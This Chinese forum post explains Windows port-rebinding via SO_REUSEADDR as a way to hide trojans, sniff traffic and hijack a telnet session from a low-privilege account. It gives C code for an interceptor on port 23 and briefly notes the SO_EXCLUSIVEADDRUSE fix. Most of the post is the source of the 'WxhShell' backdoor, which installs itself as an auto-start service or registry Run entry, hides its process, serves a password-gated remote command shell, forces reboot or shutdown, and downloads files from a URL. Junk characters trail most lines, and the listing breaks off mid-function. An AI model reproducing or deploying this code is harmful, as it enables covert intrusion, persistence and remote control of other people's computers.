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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B[}6-2<>?C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B1gR5p0  
ZC ?Xqp  
  saddr.sin_family = AF_INET; n|hNM?v  
G B^Br6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9$Y=orpWxr  
i1085ztN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H::bwn`Vc  
CAlCDfKW}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 us.~G  
+_`7G^U?%  
  这意味着什么?意味着可以进行如下的攻击: E{\2='3\  
Y@v>FlqI{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6LZCgdS{  
H+#FSdy#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t7pFW^&  
&[9709 (=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r^ XVB`v  
jCY %|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :]"V-1#}  
gIfh3D=yX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <%^&2UMg  
*i,%,O96Nz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Smh,zCc>s  
vI?, 47Hj+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [7-?7mp!B  
"7 yD0T)2  
  #include yu|>t4#GT  
  #include >lm&iF3y  
  #include N[hG8f  
  #include    QP x^_jA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rOYx b }1  
  int main() ?M2J wAK5  
  { GY*p?k<i  
  WORD wVersionRequested; cNrg#Asen&  
  DWORD ret; /QQ*8o8  
  WSADATA wsaData; ~Ei<Z`3}7"  
  BOOL val; h;Kx!5)y  
  SOCKADDR_IN saddr; 3q.q YX  
  SOCKADDR_IN scaddr; RCrCs  
  int err; *a)n62  
  SOCKET s; mv><HqDL1  
  SOCKET sc; TC('H[ ]  
  int caddsize; ZcsZ$qt^  
  HANDLE mt; y5r4&~04  
  DWORD tid;   R_KH"`q  
  wVersionRequested = MAKEWORD( 2, 2 ); V#HuIgf-  
  err = WSAStartup( wVersionRequested, &wsaData ); \['Cj*ek  
  if ( err != 0 ) { / FII07V  
  printf("error!WSAStartup failed!\n"); #_1`)VS  
  return -1; =I<R!ZSN  
  } aXVFc5C\  
  saddr.sin_family = AF_INET; Qrv<lE1V;  
   wkq 66?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .}t e>]A*  
9$t( &z=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v19-./H^ j  
  saddr.sin_port = htons(23); 4*L_)z&4;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @~e5<:|5#  
  { +vH4MwG$.&  
  printf("error!socket failed!\n"); J,hCvm  
  return -1; mw!F{pw  
  } '91/md5  
  val = TRUE; `uFdwO'DD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {ax:RUQxy  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wJ]d&::@h  
  { oDR%\VY6T  
  printf("error!setsockopt failed!\n"); \bF{-"7.  
  return -1; H|*m$| $,  
  } [ 3Gf2_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,}PgOJZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a#4?cEy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bOB \--:]  
}EPY^VIw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uH]OEz\H'  
  { ;jXgAAz7  
  ret=GetLastError(); 97]E1j]  
  printf("error!bind failed!\n"); hM{bavd  
  return -1; 3F3A%C%  
  } i. "v4D  
  listen(s,2); M{@(G5  
  while(1) zda 3 ,U2o  
  { -~0^P,yQ  
  caddsize = sizeof(scaddr); hrn+UL:d  
  //接受连接请求  \zkg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @- xjfC\d  
  if(sc!=INVALID_SOCKET) R5D1w+  
  { XUYtEf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pkzaNY/q  
  if(mt==NULL) DrR@n~  
  { ZH8,K Y"  
  printf("Thread Creat Failed!\n"); ?}0,o.  
  break; |N2#ItBbW  
  } Za9qjBH   
  } t!XwW$@  
  CloseHandle(mt); vt8By@]:  
  } n[z+<VGwC  
  closesocket(s); Wc#24:OKe3  
  WSACleanup(); +2{Lh7Ks  
  return 0; 6t$8M[0-U  
  }   khe}*y  
  DWORD WINAPI ClientThread(LPVOID lpParam) Nc`L;CP  
  { L_T5nD^D  
  SOCKET ss = (SOCKET)lpParam; UVP vOtZj  
  SOCKET sc; UfGkTwoo=  
  unsigned char buf[4096]; 29Ki uP  
  SOCKADDR_IN saddr; XwmL.Gg:]7  
  long num; [~HN<>L@C  
  DWORD val; q 1,~  
  DWORD ret; <YY14p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Xhm c6?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DU S6SO  
  saddr.sin_family = AF_INET; SU0 hma8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ! mHO$bQ"  
  saddr.sin_port = htons(23); fVlB=8DNk&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5+'<R8{:,  
  { X8|,   
  printf("error!socket failed!\n"); C_Dn{  
  return -1; ;+%rw2Z,B  
  } ;I}fBZ 3  
  val = 100; $i&zex{\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uFE)17E  
  { C Z;6@{ o  
  ret = GetLastError(); C]6O!Pb0  
  return -1; )e{aN+  
  } d6O[ @CyP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5O% {{J  
  { (>Em^(&  
  ret = GetLastError(); I,tud!p`  
  return -1; { FkF  
  } Psf#c:*_)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kmW4:EA%  
  { Y4-t7UlS;  
  printf("error!socket connect failed!\n"); J5qZFD  
  closesocket(sc); vaLSH xi  
  closesocket(ss); *w&e\i|7  
  return -1; x:Y1P:  
  } 4dlGxat  
  while(1) Hs8>anVo[  
  { zPO9!?7|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 V!Uc(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8LKiS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8tL~FiHb"  
  num = recv(ss,buf,4096,0); N7"W{"3D  
  if(num>0) h`q1  
  send(sc,buf,num,0); 7#Ft|5$~q  
  else if(num==0) tw;}jh  
  break; 1Mzmg[L8  
  num = recv(sc,buf,4096,0); 'L'R9&o<X  
  if(num>0) a(nlTMfu  
  send(ss,buf,num,0); dd;~K&_Q/i  
  else if(num==0)  ?9/G[[(  
  break; zCZf%ATq  
  } 4RO}<$Nx}  
  closesocket(ss); 4s- !7  
  closesocket(sc); e ,(mR+a8  
  return 0 ; sC'` ~}C  
  } G{}VPcrbC  
@JMiO^  
C+$#y2"z#n  
========================================================== P:c w|Q  
M3\AY30L  
下边附上一个代码,,WXhSHELL 54 T`OE =  
/m1\iM\  
========================================================== uRvP hkqm  
';CNGv -  
#include "stdafx.h" [y(MCf19  
x5Bk/e'  
#include <stdio.h> SUiOJ[5,  
#include <string.h> >:-$+I  
#include <windows.h> (`^1Y3&2  
#include <winsock2.h> 04ui`-c(  
#include <winsvc.h> }2jn[${ pr  
#include <urlmon.h> @d'j zs  
H_a[)DT  
#pragma comment (lib, "Ws2_32.lib") zhQJy?>'m  
#pragma comment (lib, "urlmon.lib") 7!1S)dup  
 B,@i  
#define MAX_USER   100 // 最大客户端连接数 (PL UFT  
#define BUF_SOCK   200 // sock buffer m O_af  
#define KEY_BUFF   255 // 输入 buffer cuX)8+  
!$ JT e  
#define REBOOT     0   // 重启 C%u28|  
#define SHUTDOWN   1   // 关机 KlEpzJ98  
7CysfBF0g  
#define DEF_PORT   5000 // 监听端口 :WEDAFq0  
C|bET  
#define REG_LEN     16   // 注册表键长度 9up3[F$  
#define SVC_LEN     80   // NT服务名长度 t@(HF-4~=  
Rcuz(yS8  
// 从dll定义API 1 MFbQs^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x}4q {P5$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VY-EmbkG-t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6ujW Nf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m67V_s,7B  
10&8-p1/mc  
// wxhshell配置信息 4W75T2q#  
struct WSCFG { 2 ?C)&  
  int ws_port;         // 监听端口 97Vtn4N3  
  char ws_passstr[REG_LEN]; // 口令 /vt3>d%B;  
  int ws_autoins;       // 安装标记, 1=yes 0=no F,kZU$  
  char ws_regname[REG_LEN]; // 注册表键名 F59 TZI  
  char ws_svcname[REG_LEN]; // 服务名 &=[WIG+rk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qs!5<)6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w0. u\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +{]j]OP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k$VlfQ'+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]L jf?tk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PCA4k.,T  
[),ige  
}; I%):1\)  
'/p4O2b,  
// default Wxhshell configuration ?6!LL5a.  
struct WSCFG wscfg={DEF_PORT, P}iE+Z 3  
    "xuhuanlingzhe", vN $s|R'@  
    1,  7GGUV  
    "Wxhshell", (Ldi|jL  
    "Wxhshell", Iu{V,U  
            "WxhShell Service", k6^Z~5 Sy  
    "Wrsky Windows CmdShell Service", Z+SRXKQ  
    "Please Input Your Password: ", \U0Q<ot/7  
  1, S:}7q2:  
  "http://www.wrsky.com/wxhshell.exe", +T ?NH9  
  "Wxhshell.exe" 'u658Tj  
    }; Om&Dw |xG8  
~DWl s.  
// 消息定义模块 MV"=19]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #yen8SskB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4-w{BZuS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UiWg<_<t  
char *msg_ws_ext="\n\rExit."; =4!mAo}  
char *msg_ws_end="\n\rQuit."; $G>.\t  
char *msg_ws_boot="\n\rReboot..."; ]:;&1h3'7  
char *msg_ws_poff="\n\rShutdown..."; iU-j"&L5  
char *msg_ws_down="\n\rSave to "; 'w/hw'F6  
]9-\~Mwh  
char *msg_ws_err="\n\rErr!"; al0L&z\  
char *msg_ws_ok="\n\rOK!"; XW9!p.*.U  
Kw}'W 8`c  
char ExeFile[MAX_PATH]; nN;u,}e  
int nUser = 0; zs;JJk^  
HANDLE handles[MAX_USER]; a*;b^Ze`v  
int OsIsNt; (H]AR8%W  
*Ex|9FCt$  
SERVICE_STATUS       serviceStatus; 1YA% -~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @HW*09TG  
Efe 7gE'  
// 函数声明 & kIFcd@  
int Install(void); iLT}oKF2N;  
int Uninstall(void); 9mgIUjz  
int DownloadFile(char *sURL, SOCKET wsh); ^Cmyx3O^  
int Boot(int flag); 9Flb|G%  
void HideProc(void); RSds8\tk  
int GetOsVer(void); )jj0^f1!j  
int Wxhshell(SOCKET wsl); J,G lIv.A  
void TalkWithClient(void *cs); )0MB9RMk1  
int CmdShell(SOCKET sock); GILfbNcd  
int StartFromService(void); $kgVa^  
int StartWxhshell(LPSTR lpCmdLine); <i[HbgUlO.  
s{++w5s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ijcm2FJcG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N [@?gFtT  
Vi}_{ Cy  
// 数据结构和表定义 g`^x@rj`E  
SERVICE_TABLE_ENTRY DispatchTable[] = <#.g=ay  
{ =43auFY-P  
{wscfg.ws_svcname, NTServiceMain}, @o^Ww  
{NULL, NULL} ;jPXs  
}; <VcQ{F  
d _ e WcI  
// 自我安装 Q\)F;:|  
int Install(void) Y7nvHU|+o  
{ _wcNgFx  
  char svExeFile[MAX_PATH]; BY*Q_Et  
  HKEY key; |%wX*zaf  
  strcpy(svExeFile,ExeFile); %\DX#.  
Jwp7gYZ  
// 如果是win9x系统,修改注册表设为自启动 pp2~Meg  
if(!OsIsNt) { /(T?j!nPE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S'14hk<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qd6FH2Pl  
  RegCloseKey(key); edV\-H5<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +V+a4lU14  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /=h` L ,  
  RegCloseKey(key); p'fYULYE  
  return 0; {$r[5%L\H  
    } 5IN(|B0  
  } F?cK- .  
} 5uf a  
else { DMS! a$4  
*H122njH+T  
// 如果是NT以上系统,安装为系统服务 F/Pep?'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OZT.=^:A  
if (schSCManager!=0)  IB<d  
{ t Pf40`@  
  SC_HANDLE schService = CreateService fh{`Mz,o  
  ( q;U,s)Uz^  
  schSCManager, 9kojLqCT  
  wscfg.ws_svcname, 2oU_2P  
  wscfg.ws_svcdisp, GL JMP^p  
  SERVICE_ALL_ACCESS, &{RDM~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G j1_!.T  
  SERVICE_AUTO_START, ;]fs'LH  
  SERVICE_ERROR_NORMAL, {[(h[MW#  
  svExeFile, OTp]Xe/  
  NULL, \1`O_DF~o  
  NULL, : jx4{V  
  NULL, AEuG v}#  
  NULL, Y~Ifj,\  
  NULL IAEAhqp  
  ); nie%eC&U  
  if (schService!=0) Wf<LR3  
  { fLVAKn  
  CloseServiceHandle(schService); bfO=;S]b!  
  CloseServiceHandle(schSCManager); `kr?j:g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]{kPrey  
  strcat(svExeFile,wscfg.ws_svcname); HqTjl4ai  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P_dJZ((X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nd(S3rct&  
  RegCloseKey(key); .KC ++\{HE  
  return 0; yBRC*0+Vy  
    } m3ff;,  
  } 4sM.C9W  
  CloseServiceHandle(schSCManager); 4~=l}H>&  
} 0ksa  
} ?}7p"3j'z  
-F92-jBM4  
return 1; 66 Tpi![  
} T Ge_G_'o  
gJhiGYx  
// 自我卸载 fX)# =c|5  
int Uninstall(void) Gy)@Is9  
{ '2O\_Uz  
  HKEY key; {PmZ9  
aoTP [Bp  
if(!OsIsNt) { tu?MYp;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tjnIN?YT  
  RegDeleteValue(key,wscfg.ws_regname); 80;(Gt@<"  
  RegCloseKey(key); 8V(pugJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PVOv[%  
  RegDeleteValue(key,wscfg.ws_regname); Vg23!E  
  RegCloseKey(key); - YV>j  
  return 0; .m AjfP*  
  } G\?YK.Y>  
} "] iB6  
} B?qjkP  
else { 5-G@L?~Vw  
D6^6}1WI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wPl%20t  
if (schSCManager!=0) l(q ,<[O  
{ :ivf/x n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'QIqBU'~  
  if (schService!=0) n(|^SH4$b  
  { %IRi1EmN8  
  if(DeleteService(schService)!=0) { o]:9')5^  
  CloseServiceHandle(schService); \L\b$4$d  
  CloseServiceHandle(schSCManager); 0RK!/:'  
  return 0; D0q ":WvE  
  } |I|fMF2K  
  CloseServiceHandle(schService); 9,tej  
  }  *,m;  
  CloseServiceHandle(schSCManager); ? qA]w9x  
} r9lR|\Ax2U  
} @K]|K]cby  
*:NQ&y*uj  
return 1; :lzrgsW  
} _?OG1t!  
: c[L3rJl  
// 从指定url下载文件 %[yJ4WL  
int DownloadFile(char *sURL, SOCKET wsh) 9S-9.mvop  
{ Q^ (b)>?r;  
  HRESULT hr; Yrn)VV[)h  
char seps[]= "/"; &M '*6A  
char *token; HdG2X  
char *file; [PM4k0YC8  
char myURL[MAX_PATH]; (~en (  
char myFILE[MAX_PATH]; ^VACf|0  
eIo7F m  
strcpy(myURL,sURL); kxRV )G  
  token=strtok(myURL,seps); ##o#eZq:"  
  while(token!=NULL) ow#1="G,=  
  { 42{:G8  
    file=token; ; Hd7*`$  
  token=strtok(NULL,seps); 7!$^r$t   
  } -tNUMi'  
!YJs]_Wr  
GetCurrentDirectory(MAX_PATH,myFILE); T n}s*<=V  
strcat(myFILE, "\\"); e!r-+.i(  
strcat(myFILE, file); AvHCO8h|  
  send(wsh,myFILE,strlen(myFILE),0); @gtQQxf"  
send(wsh,"...",3,0); pBPl6%C.X-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2>H24F  
  if(hr==S_OK) 5BJmA2L  
return 0; e,5C8Q`Z  
else /OJ`c`>Q:  
return 1; ~WN:DXn  
Ydy9  
} W,-g=6,  
xp9pl[l  
// 系统电源模块 yH}s<@y;7  
int Boot(int flag) t.'!`5G  
{ ))i}7 chc  
  HANDLE hToken; G/mXq-  
  TOKEN_PRIVILEGES tkp; `V3Fx{  
4NIRmDEd  
  if(OsIsNt) { u?{H}V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _]*>*XfF(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vA.MRu#  
    tkp.PrivilegeCount = 1; Zr,VR-kW+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +&"zU GTIc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }-3mPy(*%  
if(flag==REBOOT) { Q1l' 7N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c{LO6dNg\z  
  return 0; |B2+{@R  
} PJ'E/C)i  
else { Cs ifKHI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AnvRxb.e  
  return 0; f f1c/c/  
} !#" zTj  
  }  =4!e&o  
  else { C\/L v.  
if(flag==REBOOT) { O<;3M'y\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0,8okA H  
  return 0; |id <=Xf  
} j9OG\m  
else { d&s9t;@=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O5t[  
  return 0; O s.4)  
} 4I?^t"  
} l?^4!&Nm  
@k/NY *+  
return 1; g SAt@2*U2  
} U~l$\ c  
'!a'ZjYyi  
// win9x进程隐藏模块 d$AWu{y  
void HideProc(void) `I5wV/%ib  
{ [,KXze_m  
(DP &B%Sf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \K<QmK  
  if ( hKernel != NULL ) a+T.^koY  
  { !1Cy$}w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _OC<[A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *GN# r11d  
    FreeLibrary(hKernel); Clb@$,  
  } 5RpjN: 3  
3gj+%%!G\  
return; ZEO,]$Yi7  
} 0tB0@Wj  
 y%b F&  
// 获取操作系统版本 h.s+)fl\  
int GetOsVer(void) S +^E.  
{ e2W".+B1  
  OSVERSIONINFO winfo; ^4Ah_ U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9Ly]DZ;L  
  GetVersionEx(&winfo); qH6>!=00  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  "{Eta  
  return 1; \<6CZ  
  else usL* x9i  
  return 0; f[^Aw(o  
} 84pFc;<  
2Jmz(cH%  
// 客户端句柄模块 -n<pPau2  
int Wxhshell(SOCKET wsl) Y~E`9  
{ 3% ;a)c;D  
  SOCKET wsh; :7?FF'u  
  struct sockaddr_in client; qXtC^n@x  
  DWORD myID; ;K &o-y  
5=?\1`e1[  
  while(nUser<MAX_USER) M*H nM(  
{ f\>M'{cV  
  int nSize=sizeof(client); "E?2xf|.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hi`//y*92H  
  if(wsh==INVALID_SOCKET) return 1; <)-Sj,  
,47Y9Kz9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PJrtM AcKq  
if(handles[nUser]==0) xDoC(  
  closesocket(wsh); U,-39mr  
else h"lv7;B$  
  nUser++; Ev(>z-{F  
  } 'B0{_RaTb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \3aoM{ztD  
#!KE\OI;@5  
  return 0; YgV817OV  
} zXxT%ZcCj  
4l45N6"  
// 关闭 socket 6Yxh9*N~]  
void CloseIt(SOCKET wsh) YLE!m?  
{ W= qVc  
closesocket(wsh); j578)!aJ  
nUser--; {_Rr 6  
ExitThread(0); oVfLnI ;  
} &,CiM0  
hL;(C) (  
// 客户端请求句柄 o,8TDg  
void TalkWithClient(void *cs) Q_X.rUL0w  
{ &_|#.  
"#oHYz3D  
  SOCKET wsh=(SOCKET)cs; zZ323pq  
  char pwd[SVC_LEN]; YCM]VDx4u1  
  char cmd[KEY_BUFF]; #c?j\Y9nz  
char chr[1]; f-n1I^|  
int i,j; * 8_wYYH  
bNNr]h8y-  
  while (nUser < MAX_USER) { fs%.}^kn  
doy`C)xI  
if(wscfg.ws_passstr) { g($DdKc|g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }$Tl ?BRpU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W_8wed:b  
  //ZeroMemory(pwd,KEY_BUFF); {|:;]T"y  
      i=0; jesGV<`?l  
  while(i<SVC_LEN) { Rt!FPoN,y  
5BKt1%Pg  
  // 设置超时 iJ3e1w$  
  fd_set FdRead; s<eb;Z2D  
  struct timeval TimeOut; 91  g2A|  
  FD_ZERO(&FdRead); 8Sh54H  
  FD_SET(wsh,&FdRead); YccH+[X;  
  TimeOut.tv_sec=8; 2Kyl/C,  
  TimeOut.tv_usec=0; j<@lX^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s`'{I8'p/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?Yk.$90  
=4PV;>X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~W+kiTsD?  
  pwd=chr[0]; j=aI9p  
  if(chr[0]==0xd || chr[0]==0xa) { DLMM/WJg@  
  pwd=0; uIZ-#q  
  break; o`P %&  
  } QPg8;O  
  i++; k!HK 97qA  
    } E!l!OtFL  
^o1*a&~J@  
  // 如果是非法用户,关闭 socket `_RTw5{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -w_QJ_z_  
} Xudg2t)+K  
_FVcx7l!u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v+`N*\J_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pDIVZC  
u TK,&  
while(1) { k+Czj  
2fR02={-  
  ZeroMemory(cmd,KEY_BUFF); 2Mmz%S'd  
YSh+pr  
      // 自动支持客户端 telnet标准   5$&%re!{Z  
  j=0; G]i/nB  
  while(j<KEY_BUFF) { s<_)$}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }O^zl#  
  cmd[j]=chr[0]; K]0:?h;%Ld  
  if(chr[0]==0xa || chr[0]==0xd) { f[a}aZ9)  
  cmd[j]=0; ahOMCZF|  
  break; ps%q9}J  
  } `t9?=h!  
  j++; dEA6   
    } @&:ar  
X{'q24\F  
  // 下载文件 pd7NF-KD  
  if(strstr(cmd,"http://")) { [uq$5u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?$^2Umt 0  
  if(DownloadFile(cmd,wsh)) xScLVt<\e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yXF?H"h(  
  else `[)YEg s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %i-c0|,T4  
  } _m'Fr 7  
  else { ^1aAjYFn  
ReI/]#Us  
    switch(cmd[0]) { Hp|_6hO 2  
  r1L ViK  
  // 帮助 fhp<oe>D  
  case '?': { qI<mjB{3`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #=f?0UTA  
    break; >wBJy4:  
  } V=V:SlS9|  
  // 安装 ( ?{MEwHG  
  case 'i': { Q=T&  
    if(Install()) j|%HIF25  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ); dT_  
    else be-~\@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jvFTR'R)=  
    break; M:3h e  
    } vIwCJN1C  
  // 卸载 :1^R9yWA4  
  case 'r': { A"D,Kg S  
    if(Uninstall()) b7tOo7aH)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )'%$V%9  
    else [4C:r!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [uls8 "^/j  
    break; ;b(p=\i  
    } ,%Up0Rr,  
  // 显示 wxhshell 所在路径 &PK\|\\2  
  case 'p': { "7V2lu  
    char svExeFile[MAX_PATH]; :8+Nid)  
    strcpy(svExeFile,"\n\r"); 1/-43B  
      strcat(svExeFile,ExeFile); rT5Ycm@  
        send(wsh,svExeFile,strlen(svExeFile),0); 9Z'8!$LYg  
    break; q51Uf_\/  
    } p)3U7"q  
  // 重启  {=QiZWu  
  case 'b': { qt 2d\f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S.q].a  
    if(Boot(REBOOT)) QC;^xG+W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W.0L:3<"  
    else { Z%Zd2 v  
    closesocket(wsh); +g]yA3  
    ExitThread(0); ugx%_x6  
    } fUQ6Z,9  
    break;  S"$m]  
    } yH*6@P4:0=  
  // 关机 Zrr5csE  
  case 'd': { ,|plWIl~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .?e\I`Kk^'  
